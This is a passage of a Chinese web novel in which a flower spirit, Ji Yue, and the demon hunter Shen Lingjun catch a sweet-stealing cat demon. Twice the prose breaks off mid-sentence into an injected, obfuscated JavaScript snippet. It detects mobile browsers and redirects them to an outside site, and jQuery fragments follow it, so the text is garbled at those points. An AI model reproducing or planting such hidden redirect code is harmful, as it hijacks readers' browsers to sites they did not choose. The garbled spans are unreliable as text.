沈灵均从岸边一棵柳树的阴影里走出来。 若不是腿上有伤,又忌惮季月,他在树妖浮出水面的那一刻就该出手。 师父要求他逢妖必杀,却忘记指点他,杀不掉时,该当如何。 他躲在暗处,听两只妖絮絮叨叨。又眼睁睁地看着季月放走了树妖。 她说,拔出根系……难道她的真身也是草木? 明月把他修长的影子投到了季月脚下。 她像是感应到什么,蓦地回过头。 “沈大人?伤好得这么快?” 沈灵均以剑撑地,勉强稳住身形,挤出一个牙疼似的笑。 “捉妖师的功夫,不是白练的。季姑娘怎么独自一人在这僻静处?” 季月眨眨眼睛,“我见他们落入了玉川,就沿着河,七拐八弯地寻到此处,正巧看到树妖随着水流逃走了。沈大人要去追吗?” “……倒不急于一时。方才听街坊们说,那树妖是从琳琅阁跑出来的?” “是啊。它还挠我呢!”季月伸出左胳膊给他看。 上好的丝绸衣袖破了一个小洞,露出里面莹白如玉的肌肤。 明知她是妖,沈灵均还是像被烫了一下,移开目光。 “姑娘好魄力,换了一般人,早就吓破胆子了。” 季月半真半假地叹道,“可能我的体质,特别招妖怪吧。” 月亮钻入云层,周遭的景物变得晦暗难明。 她的面容隐在阴影里,身上澎湃的妖气更加迫人。 沈灵均注视她良久,轻笑,“看来以后,要多关照你一些。” 河工沿着玉川搜索了三日,都没有找到杨鸣珂的尸体,只捞起了一枚玉扳指。 韩思年仔细辨认,确定这就是师兄平日里戴在左手大拇指上的那一枚。 杨鸣珂惯会表演深情,平时见了女子就要撩拨几句,身死之后,却无一人为他流下眼泪。这世上对他最深情的人,早就死在了故乡的那棵相思树下。 虽然韩思年一贯瞧不起这个师兄,但想到他被妖残害,遭了那么大的罪,整张面皮都被烤焦,还尸骨无存,也不禁唏嘘。 一日抄书毕,他见到季月,便揉着手腕抱怨道,“琳琅阁怕是风水不太好,妖孽肆虐,已经接连死了两个。季姑娘独自住在此处,可会害怕?” 季月正拿了本三字经,颠过来倒过去地看,想这人间的文字,怎么那么难懂,一时没有作答。 韩思年看她秀眉微蹙,还以为她和自己一样满腹担心。 “依我看,沈大人就应该守在这琳琅阁。南安县只有一个捉妖师,他不在,别人应付不来。” 季月把书放下,回想起沈灵均砍树的英姿,笃定道,“放心吧,沈大人说了,会多关照我的。” 韩思年不以为然,“当真?我怎么听说他接连几日闭门不出了。” 沈府。一只通体雪白的信鸽身披夕阳,扑棱着翅膀,落在沈灵均的书房窗口。 他取下竹筒,摸了摸鸽子的头,把信展开。匆匆读过一遍,叹了口气。 信中写道,范老夫子的女儿女婿迁往昌平县不久,就遇上大疫,全家人从此下落不明。 他打听这家人,本想顺藤摸瓜弄清楚季月的来历,看来这条线索是断了。 沈灵均揉了揉额角,撑着桌子站起来,吩咐管家,自己要彻夜练剑。 管家正在院中洒扫落叶,闻言大惊,“少爷你腿伤未愈,何必如此发奋啊?” 沈灵均望着树梢开始变黄的叶片,自嘲道,“再不发奋,下回打架,就要靠妖来搭救了。” 管家还以为自己听错了,手一松,扫帚掉在了地上。 11. 狸奴不出门(一) 琳琅阁的抄书行动轰轰烈烈地持续了月余,集众人之力编撰琳琅阁藏书目录,优先将最为珍贵的孤本、善本抄录完毕,共抄录古籍三千余册,增补、修订无数。 韩思年选了个黄道吉日,为范老夫子办了隆重的丧仪,让老人家入土为安。 抄书告一段落,沈灵均的腿伤也养好了,便带着县衙的人前来收尾。众书生凡是参与抄录的,皆有酬劳。藏书阁遭过火焚,虽未坍塌,但不能再用。藏书分门别类摆放整齐,暂存于读书堂。 众人在院中进进出出,闹哄哄的一通忙乱,季月坐在自己前几日搭的秋千上,只当瞧热闹,冷不防面前吊下一卷纸,上面写了一串串鬼画符。 一个陌生的油滑声音在背后响起,“季姑娘,抄录古籍的人工费、搭建费、笔墨纸砚的花销、每日餐补冰饮的花销,都记在这里了,烦劳过目。” 季月仰起头,“这是何意?” 秋千后头并排站着两人。沈灵均眉头微蹙,县衙师爷站在一旁,手捧一把紫檀木的算盘,笑道,“徐知县一片仁心,出人出力抢救琳琅阁藏书,延续文脉,实为本县百姓之福。这费用嘛,理当琳琅阁出。” 原来是要钱来了。 “……多少钱?” 师爷点了点纸卷末尾一处鬼画符,比出五根手指。 “五百两。” 看他脸上神情,季月一下子想起了白胡子老头,顿生警惕之心。 “为什么都要我出?” 师爷正欲长篇大论,沈灵均截过话头。 “范老夫子留下的财产,季姑娘可点过了?” 季月点点头。 “不知一共几何?若是实在无法负担这笔费用,待我们上报县衙,可以再议。” 范老夫子留下的不止现钱,还有金银珠宝、古玩器物,季月一时也说不出价值几何。 她哪里懂得人前不能露富的道理,大喇喇地领他们进屋,从床底的箱子里拿出一沓银票。 师爷眼尖,一看那银票都是一百两的面值,忙不迭地叫道,“够了够了,有这一沓子就够了。” 他把一沓银票抢在手里,肃容道,“姑娘深明大义,我必定上报知县,表彰姑娘贤德。“ 沈灵均打量季月,见她只是脸色不愉,竟没有发作。 经过树妖一事,沈灵均对她的戒惧少了几分。她本领高强不假,出手相助也是真。况且这段时日以来,并未主动生事。 虽然这钱财不是她应得的,但凭沈灵均对县衙的了解,放在此处,都好过落在徐知县手里。 沈灵均从师爷手里拿过银票,数出五张,剩余的递还给季月。 “一张一百两,姑娘可要数清楚了。” 师爷气得跺脚,“季姑娘要多给些,以感激徐知县的恩德,沈大人怎么就不明白呢?” 沈灵均并不理会,正色道,“季姑娘孤身一人,琳琅阁又财物众多,千万要提防有心人觊觎。” “沈大人这是意有所指?” “师爷多心了。” 季月来回看看两人神色,明白沈灵均是在维护自己,对他展颜一笑,“多谢沈大人!” 沈灵均前脚刚走,邻居许大娘后脚就找上门来。 她带着儿子,在琳琅阁隔壁住了二十几年。从前范老夫子规矩大,轻易不准人进门,所以邻里之间从不来往。如今换了主人,许大娘又是自来熟的性子,主动前来结交。她和季月说过几回话,便认定她是个天真可欺,胸无城府的美娇娘,正需要她老人家的照拂,所以每天都要来瞧上一眼。 许大娘提着个描金烤漆的食盒,进门先不看人,一双眼睛滴溜溜地转,在院中溜了一圈。 “那些书生们都走啦?” “是啊。” “县衙的人也走啦?” “刚走。” “这院子总算是清净了。大娘给你带了桂花糕,快来尝尝。” 她一打开食盒,桂花的清香扑鼻而来。雪白的蒸糕做成五瓣花朵状,上面洒了蜜色糖浆,金桂点缀,甚是可爱诱人。 许大娘得意道,“我一早去庆真楼排队,排了一个时辰才买到的。” 季月用手抓起一块送入口中,眼睛立刻瞪大了。 人间怎会有如此美味! 糕体软糯,桂花清甜,口齿噙香,回味无穷。 她两三口吃完一块,又拿起一块,塞进嘴里,差点把舌头一起吞下去。 “好吃!” 许大娘见她狼吞虎咽,哪有半点淑女闺秀的样子,大觉有趣。 她眯起眼,凑近了问道,“衙门的沈大人,可是看上你了?” 季月嘴里塞满了糕,含糊地“啊”了一声。 许大娘了然,“最近我们见到他的次数,比过去三年加起来还多。一得了空,就往琳琅阁跑。跟大娘说实话,你们两个是不是早就认识?“ 季月摇摇头。 “那就是一见钟情咯!”许大娘的思路已经飞到了九霄云外,“我就说嘛,男人哪有不爱美娇娘的。只可惜沈大人是修道之人,你们若要在一起,他势必要辞官还俗,哎哟哟,这可牺牲不小。不过琳琅阁家大业大,好好经营,吃穿是不愁的。” 季月总算把糕咽了下去。什么辞官还俗云云,全没听懂,倒是吃穿不愁四字,正中下怀。 “好好经营,是何意?” 许大娘暗自摇头,姑娘家到底年纪轻,见识浅,白长了张聪明面孔,还需要她这老法师来提点。 “这还用问?现成的法子,让书生们继续来抄书啊!” “那我岂不是又要给他们钱?” “你给什么钱?没听那些书生走的时候说,还有六七成古籍,没机会看完,甚是可惜吗?以后想来琳琅阁看书,得他们给你钱。一册书一贯钱,包你赚得盆满钵满。” 季月瞪着一双妙目,“那先前……方才……” 许大娘冷眼旁观,晓得她被县衙坑了。 “傻姑娘,先前是县衙做主,我们升斗小民怎可置喙。如今县衙的人撤了,此地还不是你说了算。说起来,这钱进钱出的事,沈大人就没为你打算过?啧啧,男人呐……” 季月眨眨眼睛,“大娘,你再说些赚钱的法子呗。” 许大娘眼尾笑出两朵菊花,“这你可就问对人了。” 她从自己家讲起,将这一条街上各家各户的营生细数了一遍。 人间和妖界相似,都是就地取材,凭一技之长谋生,有田地的务农,有水塘的养鱼,擅烹饪的卖糕点,擅制伞的卖伞,会撑船的当船夫,会珠算的当账房,体格健壮的替人看家护院,心灵手巧的替人缝制衣服。 季月想了想,自己的长处除了打架,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084218|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是酿蜜了。等范老夫子的钱花销完了,不如制些花蜜来卖?也不知道花蜜在人间值多少钱。 目光落到食盒里最后一块桂花糕上。 “许大娘,这糕卖多少钱?” 许大娘夸张地比了个手势,“足足二十文一块!就这么贵还要抢呢!” “抢?” “庆真楼每日只蒸出二十屉,大清早天不亮开始排队,不到辰时就卖完了。可不是得抢嘛。” 季月疑惑,“会打起来吗?” 许大娘使劲点头,“不瞒你说,前天早上就有人为了争最后一块糕大打出手。你要是想吃呀,大娘替你买,反正我们上了年纪的人醒得早,躺在床上也是干瞪眼。” 季月来了兴致,“打架我可不怕。这庆真楼怎么走?” 许大娘看看她纤弱的身板,“姑娘别说笑了。就你这细细的胳膊,真打起来,被人家一撅,就折了。” 季月暗暗吃惊。她在妖界打架,枝条折断是常事。这大娘其貌不扬,说起话来,倒有几分见识。 “我早些去,买得到最好,买不到,就当瞧个热闹。” 许大娘这才放心,“沿河往东走,进朱雀大街往南,过月影桥,头一家就是。” 季月用心记下了。 送走许大娘,她捧着最后一块桂花糕回到卧房。 昔日范老夫子留下的旧家具已经全部换过。如今的卧房收拾得和她妖界的住所没什么两样。床榻、矮几、春凳皆是月季枝条所制,门边摆一排陶盆,用来收藏泥土。窗口摆一排罐子,用来收藏清水。 人间气息纷繁杂乱,很难觅到可心的水土,是以那盆和罐都还空着。 靠墙立了一座博古架,摆放集市上淘来的小玩意儿。这些时日,她逛街逛得乐此不疲,架子很快放满了,只好委屈几样小物件挤在同一格里。 床底有个大箱子,装着范老夫子留下的金银财宝。 季月打开来数了一遍,又数了一遍,发现赚钱一事根本不急,眼下大可高枕无忧。 最后一块桂花糕没舍得吃,拿油纸包了放在矮几上。她在房间里转了一圈,只觉处处妥帖,便掀开纱幔上床,把脊背贴着床板,心满意足地躺平了。 啊,真舒服。 然而才睡到月上中天,就被一种怪声吵醒了。 嘎啦啦,嘎啦啦,像有利齿在锯木头,听得牙酸。 嘎啦啦,嘎啦啦。季月睁开眼睛。 她精心制作的房门竟被抓出一个破洞,漏进一圈清冷月光。 一只毛茸茸的爪子从洞中伸进来,来回扒拉,没几下,就把小洞生生扒拉成一个大洞。 季月额头的青筋跳了跳。 砰。一团褐色的大东西从洞口冲了进来。这怪兽浑身长毛,蓬松的尾巴高高竖起,尖耳朵,圆脸蛋,鼻子贴着地面,左嗅嗅,右嗅嗅,像是闻到了什么极香的东西,一跃跳上了矮几。 季月坐直身子,刚好对上它的眼睛。 这怪兽的眼睛又圆又亮,泛着绿光,在黑夜里如同两盏明灯。见她醒了,非但不害怕,反而张开大嘴,露出两颗尖牙,朝她哈气。 它的一只前爪正按着油纸包,稍一用力,一个深深的梅花形的爪印,便印在了季月舍不得吃的那块糕上。 季月的眼珠瞬间变红。 这世道,想躺平还真难。 12. 狸奴不出门(二) 季月指尖微动,一片带尖刺的叶子笔直地飞向怪兽。那兽动作迅疾如风,嗷呜一声跳下矮几。两片叶子紧追而至,封住它前后去路。那兽跃起半人高,爪底的油布松开,桂花糕滚落在地,沾上了几缕灰尘。 季月“啊”了一声,那怪兽眼中精光大亮,扑过去三口两口,便将桂花糕吞进了肚。 季月着恼,伸长一根枝条来捆它,那兽扭身躲开,顺势打了个滚,露出圆滚滚毛茸茸的肚皮。 带刺的月季枝条递到它身前,硬生生停住,说什么也扎不下去。 那兽嘴里不住咀嚼,发出咕噜咕噜的响声。 季月下了床,走到它边上细看。怪兽此时藏起了尖爪和尖牙,软乎乎的身子扭来扭去,宛如一条会动的毛毯,着实可爱。她被那假象蛊惑,忍不住伸出手,要去摸它的肚子。 还未触到,怪兽后腿一蹬,快如闪电地窜到门口,钻过它掏出的破洞,逃之夭夭了。 季月愣在当地。 自己五百年的道行,竟被一只小妖耍了? 第二日,天刚蒙蒙亮,季月提了个食盒,往庆真楼走。 依许大娘所言,沿河往东走,进朱雀大街往南,过了月影桥,远远就见到一座五层高楼,飞檐翘角,装帧精美,镶金缀玉的招牌上刻着三个鬼画符,想必就是庆真楼了。 门口果然已经排起了两条长龙,头尾相接,还在不断生长。 季月站到队尾,一眼望去,队伍里的大多是女子,从少女到老妪都有,叽叽咕咕,交头接耳。 “就想着这一口,不吃浑身不舒坦。” “别家做不出这个味。” “没成婚前,我家夫君每天一早来这里排队,买了糕送我,风雨无阻呢。” “王夫人真真好福气,哪像我家那位,买过一次就不耐烦了,还骂我是馋鬼。” “我还没说完呢。这一成婚后,人就变了,推三阻四,起不来床。一会儿说胸口疼,一会儿说肚子疼,为了躲懒,浑身上下都疼了一遍。这不,还得我亲自来。正所谓求人不如求己。” 妇人们笑成一片。 季月正听得起劲,背后传来一道清冷的声音,“季姑娘早啊。” 回头一看,沈灵均就站在背后,手里提这个食盒。别人都睡眼惺忪,他却目光炯炯盯着她看。 季月暗暗嘀咕,不管她走到哪里,这人好像都会出现,莫非当真看上她了? “沈大人,你也来买糕?” “家里人想吃。” 旁人注意到了沈灵均,说笑声变作窃窃私语。 “沈大人怎么亲自来了?” “买了糕回去,送给相好的吧?” “相好的不就站在那儿吗?” “哪儿呢?哪儿呢?没瞧见啊。” “嘘……” 沈灵均干咳两声。 他近来把罗盘都搁置了。或许是练功有了进益,一闭眼,就能感应到来自季月的强大妖气,连方位都清清楚楚。正面挑战讨不了好,贴身监视也无甚效用。季月每日出门逛集市,进门修屋子,言语行动和寻常女子无异。但若放任不管,终究心中不安。说不准哪天她一高兴,能把整个南安县都吹上天。 今早出来买糕,既是受人之托,也是练剑练疲了,想歇一会。不料出门才走了十几步,就发现她也在朱雀街。 “季姑娘也喜欢这里的桂花糕?” “是啊。” 沈灵均暗想,该当庆真楼的老板发财。此处的大厨果然有两下子,做的糕点连妖都爱吃。 季月想起昨晚之事,扁扁嘴,“沈大人,我家有妖,你管不管?” 她距离他不过两步,妖气滚滚而来。沈灵均盯着那张芙蓉面,拖长了声音道,“哦?” 你家当然有妖! 季月没瞧出他的讥讽之意,兀自拿手比划,“长得像狸奴!大概有这么大。奸猾得狠,半夜破门而入,偷吃了我最后一块糕,逃了。” “就这样?” “嗯!” 沈灵均嗤笑一声。他亲眼见她两次施展功力,弹指间便能扑灭大火,凝聚魂魄。区区偷食的猫妖,她会对付不了?莫不是存心消遣他。 “季姑娘或许是睡迷糊了,把梦境当真了。” 季月睁大眼睛,“怎么可能?我那房门上的破洞还在呢!不信你去看!” 他目光沉沉,牢牢盯住了她,“季姑娘有所不知,我们南安县向来太平,很少有妖。盖因本地山明水秀,物产却不丰。居民大多是勤勉致富,小富即安。妖来此地,有什么可贪图的呢?” 季月不耐烦地敲敲食盒,“糕啊!” 沈灵均微微一哂,不再作声。 季月气呼呼地转过身去。 亏那许大娘还信口开河,说沈大人看上了她,看来纯属扯淡。这人连她说的话都不信。 队伍里的妇人们见沈大人和“相好的”聊了几句,突然双双变了脸色,沉默不语,立刻心领神会:小两口拌嘴了。 众人极有默契地移开目光。 旭日初升,待到金辉涂满庆真楼的屋顶,店门口的围挡才打开,伙计探出头来喊道,“对不住,今天原料不足,只够做十屉桂花糕。” 众人清早起来排队,就是为吃这一口,一听这话,顿时鼓噪起来。 伙计急忙喊道,“每人限购两块,先到先得。诸位也可以尝尝本店新出的莲子冰糕,今日特惠,一份十二文,味道一样好!” 排在后面的人还在大声埋怨,围挡里头香喷喷的蒸屉已经端了出来,队伍飞快缩短。不一会,十屉桂花糕一抢而空。 季月自然没有轮上。她悻悻地舔了舔嘴唇,退而求其次,买走十块莲子冰糕。因生着沈灵均的气,连句招呼都没打,扬长而去。 沈灵均望着她窈窕的背影隐没在清晨薄雾中,心头说不出的烦闷。 沈灵均再次露面是在七日后。他穿着一身玄色官袍,形色匆匆,来敲琳琅阁的门。 未等季月开口,他就抢着问,“你上回说的猫妖,可是确有其事?” 季月冷哼一声,“怎么?终于肯信了?” “近日衙门接到多人举告,有形似狸奴的怪兽夜入家门,抢夺吃食,抓人伤人后逃走,怀疑是妖孽作祟。你门上的破洞,可否让我瞧瞧?” “这么多天过去,早就补好了,难道特意留着给你看么?” 沈灵均碰了个钉子,却毫不气馁,“既是如此,劳烦季姑娘随我走一趟,去怪兽出现过的地方找找线索。” “我为什么要去?” 沈灵均似笑非笑,“你那么招妖怪,想必有些过人之处。” “哦,我明白了。你自己抓不到猫妖,来求我帮忙。”季月立时端起架子来,一字一顿道,“沈大人,一个人若是本事不够呢,就要虚心一些。别人同你说话要认真听,切莫不以为然。” 沈灵均从怀中掏出一个油纸包,诚恳道,“姑娘说的是,沈某受教了。看在这桂花糕的分上,可愿相助一臂之力?” 美食的诱惑,人和妖都很难抵挡。 季月望着莹白软糯的糕,忍不住咽了咽口水,“好吧。姑且随你去看看。” 第一个向衙门举告的是粮油铺子的葛老板。 据他说,前几日恰逢老母亲做七十大寿,家中宴请了十桌宾客,彻夜痛饮。待送走了宾客,已过三更天。自己喝得半醉,正要洗漱,忽听得粮仓传来丫鬟的惊叫。 葛老板开的是粮油铺子,粮仓最是要紧不过,赶紧点了灯寻去,只见丫鬟跌倒在地,脚边掉了一地的碎瓷片,口中直呼,“有怪兽钻进去了!” 葛老板举灯一照,正好照见那只猫妖,浑身长毛,体形较普通狸奴大上一倍有余,两只绿眼睛瞪得像铜铃,利爪将布袋划得乱七八糟,大米流得到处都是。 葛老板大喝一声,那猫妖竟跳上他的脑袋,用力一蹬,越过院墙逃了。 “这会儿还疼着呢。”葛老板低头给他们看。他头顶果然有道六寸长的伤口,皮肉都翻了出来,着实伤得不轻。 沈灵均问,“不知粮仓里除了大米,还放了什么?” “没别的啊。最近进的大 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季月举到眼前细细辨认,“不错,就是它。” 告别葛老板,他们马不停蹄,赶往锦绣布庄。 一打照面,季月便认出,王夫人正是那日庆真楼外,在买糕队伍里高谈阔论之人。 王夫人也认出了他们,八卦的眼睛忽闪忽闪,“两位一起来查案呀?沈大人什么时候多了个副手?” 沈灵均道,“这位季姑娘,日前也遭到猫妖滋扰。” 王夫人一拍手,“竟有这样的事。看来妖孽也爱美人啊。” 沈灵均揉了揉额角,“当日的情形,烦请夫人细细说来。” 王夫人的经历和葛老板大同小异,也是深夜有一只巨大的狸奴闯进家门,劫掠一番,抓伤了人后逃走。 “它倒没挠我,挠的是我夫君。”王夫人叹道,“这人平时好端端的,尚且要装病躲懒,这回不知哪来的勇气,竟想徒手抓猫,这下好了,胳膊腿上多了十几道口子,起码要躺到过年了。” 季月忍笑问道,“挠他的猫妖,可是绿眼睛,灰褐色毛发?” 王夫人想了想,皱眉道,“夜里太黑,看不真切。” “猫妖为何只挠他不挠你?” 王夫人指着梳妆台边一个小柜子。“它可是吃光了我的点心!还好意思挠我么?” 只见柜门破了个大洞,里面十来个小格子原本放满吃食,如今只剩空碗。 “我这人最爱吃甜食,半夜醒了,就要吃一块点心垫肚子,所以在卧房中添了这个小柜子。没想到,美食都进了猫肚子。” 王夫人长得珠圆玉润,一脸福相。看来都是拜甜食所赐。 季月问,“你这柜子里,可有桂花糕?” “有的有的!” 沈灵均将那柜子检视一番,疑惑道,“狸奴性喜食肉,糕点是米粮所做,按理说,不在它的食谱之中。” 王夫人叫道,“要不怎么说是妖呢!沈大人,你可要赶快出手捉了它,免得人家季姑娘再受惊吓。” 沈灵均看看季月,忍住没有反驳。只有她去惊吓别人,哪有别人惊吓她的。 出了王家绸缎铺,季月扬起下巴,一脸得意,“沈大人,怎么引猫妖出来,我已经有主意了。” “哦?” “它爱吃甜食。我和王夫人家都有糖糕。那葛老板前一晚刚请过客,桌上定也有没吃完的糕点,才把它引来了。要抓猫妖,只需设宴,摆上一桌甜食即可。” “只怕不够。”沈灵均瞥了她一眼,“这猫妖专门袭击年轻貌美女子。” 季月凑近,“你是在夸我貌美吗?” “季姑娘貌美如花,人人都看得到。” 他脸上一派淡然,却不知道自己的耳朵根微微发红。 季月大乐,“既然如此,我亲自出马,引那猫妖出来。” 沈灵均摇摇头,“不必。它去过你家一次,定会有所防备。我有个更好的法子。” 13. 狸奴不出门(三) 天色渐暗,庆真楼内外亮起盏盏彩灯,衬得整条街辉煌灿烂。 楼内珠帘画堂,灯烛晃耀,欢歌宴饮,人声鼎沸,茶博士、酒博士端着盘盏,穿梭如飞。 二楼雅间内,不时传来丝竹管弦之声,歌伎或抱琵琶,或执檀板,低吟浅唱。更有身着留仙裙的盛装女郎,杨柳腰,芙蓉面,在回廊间惊鸿一现,翩然上楼去了。 沈灵均直看得眼花缭乱。庆真楼盛名在外,如今的热闹排场更胜从前。 等了好半天,才有一个伙计前来招呼,“客官是坐楼下还是楼上雅间?要些什么酒菜?” “劳烦通报你们曹掌柜,沈某有要事同他商议。” 伙计细细他打量一番,一拍脑袋,“恕小的眼拙,原来是县衙的沈大人,您来的不巧,曹掌柜正陪徐知县喝酒呢。” 沈灵均皱眉。徐知县是庆真楼的常客,饮酒宴乐往往通宵达旦,大醉而归,次日一整天都不会出现在县衙。 “他们人在何处?” “自然是三楼专为招待知县而设的天水阁。今日知县夫人生辰,点了整个彩衣班上去助兴呢。” “彩衣班?” “彩衣班是我们庆真楼最好的乐伎舞娘班子,个个色艺双绝。客人来我们这儿,不光为了饱口福,还为了饱眼福呢。” 伙计觑着他神色,心道,你顶头上司在这里享受,你但凡有点眼色,也不会冲进去扫兴。 不料沈灵均一点眼色也无,还掏出一块县衙令牌,“捉妖之事刻不容缓,劳烦带我去见知县。” 徐知县今年四十有五,生得方额广颐,一副厚福之相,自他上任以来,南安县风调雨顺,从无灾祸。他也就放心地与民同乐,日日沉醉于温柔乡中。 伙计引着沈灵均进来的时候,他正捏着酒杯,目不转睛地观赏舞姬白生生的细腰。一见沈灵均,便眉花眼笑,“沈老弟!稀客呀!什么风把你给吹来了。快入席。曹老弟,再来两壶酒!” 坐在东首的曹掌柜约莫三十岁年纪,服饰华贵,一脸精明相,留着一部山羊胡须。他放下筷子,起身笑道,“久仰沈大人威名,始终不得一见,今日何其有幸。” 徐夫人也起身见礼。她生了一张窄小的瓜子脸,五官偏偏比寻常人都大上一号,像要脱离脸盘飞出来一样。 沈灵均一一回礼。 曹掌柜满面堆笑,“沈大人快请坐,尝尝庆真楼最出名的眉寿酒,喝了强身健体,增福增寿。” 曹掌柜递上一只白瓷杯,盛满琥珀色的酒液,一股醇香扑鼻而来。他对乐班打个响指,丝竹管弦重新奏响,舞姬裙下生风,转起圈来。 站在最前头的舞姬生得妩媚动人,频频给徐知县递眼色,姿态间颇有挑逗之意,引得徐知县蠢蠢欲动。 沈灵均注意到徐夫人狠狠剜了她一眼。 他站起身,拱手道,“徐大人,近日多名百姓举告,有猫妖夜入民宅,夺食伤人,属下有一计可引出猫妖,还需曹掌柜鼎力相助。” 徐知县大手一挥,“下值以后不谈公事。台上这位姑娘年方几何呀?” 舞姬丹唇轻启,尚未答话,徐夫人按捺不住,隔着衣服,在知县老爷胳膊上狠狠掐了一把。 徐知县惊叫,“哎哟!你这是做什么?” “老爷喝多了,吃块点心吧。” 她夹起一块栗子糕,要往知县老爷嘴里送。 徐知县正不耐烦,一把推开。 栗子糕掉到桌上,咕噜咕噜滚落在地。徐夫人又羞又恼,脸腾地红了。 曹掌柜忙打圆场,“今日是夫人生辰,好端端的生什么气呢。夫人,快给老爷赔个不是。” 沈灵均微感奇怪。这掌柜对知县敬畏之极,对夫人却不甚尊重,言语间还有几分颐指气使。 徐夫人也真听话,起身抹了抹并不存在的眼泪,行了一礼,“妾身不胜酒力,言行无状,求老爷赎罪。” 徐知县摆摆手,“免了免了。”一双眼睛仍黏在舞姬脸上。 徐夫人只觉得心里堵得慌。 想当年,她领着彩衣班,在台上献舞时,知县老爷也是这般直勾勾地看着自己。那时恰逢前任徐夫人过世。她抓住机会,使劲浑身解数,终于把自己嫁进了徐府。 舞姬一朝飞上枝头变凤凰,多亏了命运的眷顾,也多亏了自己争气。然而知县老爷喜新厌旧的本性不改,永远有下一个彩衣班的头牌,吸引他的目光。 眼下这个,生得妖妖娆娆,一看就不是好对付的。 她既觉恼怒,又觉气苦,方才是装哭,这会儿思来想去,眼眶一酸,竟真的掉下泪来。 沈灵均甚是执着,又对徐知县道,“下官想在这庆真楼设局,捉拿猫妖,相烦曹掌柜多准备些糕点,若有桂花糕就更好了。” 徐知县这才把目光从舞娘身上移开,“为何要在此处捉妖?” 沈灵均命乐班暂停,从头说起,把猫妖伤人之事一一道来。 徐知县越听脸色越难看,“沈老弟,近来本县频频有妖孽作祟,你可要多留神啊。莫让百姓说我们县衙无能。” “徐大人说的是,所以下官匆匆赶来,一刻也不敢耽搁。” “嗯,曹老弟,你看这主意如何?” 知县大人都发了话,曹掌柜哪有不应允的,连声称是,一叠声吩咐人准备点心去了。 徐夫人一开始还未怎样,听到后面,脸色越来越白,几乎坐立不安,抓住知县的袖子求恳,“老爷,妖……妖会来这里?妾身……害怕。” “怕什么?沈大人法术高超,有他在,放心吧。” “妾身……妾身想回家。” 徐知县怒道,“无知妇人,上不得台盘。你是信不过沈大人,还是信不过县衙?” 徐夫人缩了缩脖子,不敢再言语。 沈灵均一瞥眼,只见桌子底下,她那凤仙花汁染过的长指甲,深深地掐进掌心。 庆真楼的彩灯,往常要亮到天明,今夜一反常态,早早地熄灭了。 整条朱雀大街悄无人声,更无丝竹管弦。 黑暗中,一股股甜香随着晚风飘散出去。 有莲子、蜜枣、糖藕、板栗、桂花…… 没有人,不,没有猫能抵挡住这样的诱惑。 一团灰褐色的影子攀上了庆真楼的飞檐,沿着虹桥一路向上,敏捷地跳进二楼打开的一扇窗。 猫妖的身子匍匐在地毯上,左嗅嗅,右闻闻。绿色的瞳孔陡然变大。 回廊正中有张长桌,摆满了各色糕点。阵阵香味就是从此处传出。 猫妖毛茸茸的尾巴高高竖起,灵巧地跳上桌。 每一块糕点的气味,都如此熟悉。 它急切地埋头吃起来,爪子勾住什么就往嘴里塞,一边咀嚼,一边漏下许多碎屑。脊背一拱一拱,从长桌一头跳到另一头。 顷刻间,糕点扫荡一空,只余一片狼藉。 猫妖吃饱了,肥硕的肚子微微鼓起,慵懒地嗅了嗅空气,跳下长桌。 它并不急着逃跑,反而转了个身,朝回廊内窜去。 庆真楼二楼设有三十间雅间,供宴饮待客之用,另有一排厢房,是彩衣班休息之所,里面设有琴阁、书斋,极尽风雅。 猫妖熟门熟路,跑到最大一间厢房,用爪子扒开门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084220|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,窜了进去。 屋子里没有点灯,猫妖却优哉游哉往地上一躺,露出毛茸茸的肚皮,转动头颈,不住地扭来扭去,像是在享受极大的乐趣。 沈灵均一路跟在后面,此时轻叱一声,一张金色的网疾飞而出,不偏不倚地罩在猫妖身上。它受了惊,弓身弹起,跳到一人多高,那金网却越收越紧,网线深深地嵌进皮肉,勒出道道血痕。 猫妖发出一声凄厉的惨叫,露出两排尖牙,拼命扭动挣扎,却摆脱不了金网的束缚。 庆真楼的灯火次第亮起,把三层楼照得亮如白昼。 徐知县等人来到门口。他壮起胆子,细看那猫妖:看体型,比普通狸奴大了一倍有余,绿眼灰毛,长身巨爪,确是妖孽无疑。 他抚掌大笑,“沈老弟,又立一大功!” 徐夫人双手牢牢地捂住眼睛,浑身都在颤抖,似乎站也站不住了。 沈灵均道,“多谢曹掌柜相助!知县大人,猫妖既已落网,我这就将其带回……” “慢着,”徐知县眼珠一转,“方才这妖为何直接闯进这间厢房,倒像认得门似的?” 他话音刚落,猫妖好像听得懂一样,突然纵身朝他们扑去。虽然被金网所缚,动弹不得,但它脖子伸得老长,口中不住发出呜呜悲鸣。 徐知县被它的尖牙所慑,慌忙退后两步,“沈老弟,这……这是怎么回事?” “大人放心,它挣不脱缚妖网。” “那就好。”徐知县转转眼珠,已有了主意,“把它关进县衙牢房,三日后公开处决,让百姓们看看本县斩除妖孽的雷霆手段!” 沈灵均觉得有些不妥,正要说话,曹掌柜抢先叫道,“知县大人英明睿智,沈大人天纵奇才,真乃百姓之福。今日被这孽畜搅了兴致,来人,端酒,奏乐,咱们喝到天明,不醉不归!” 徐大人一听到喝酒二字,正中下怀,方才心头的疑虑也抛到了脑后。 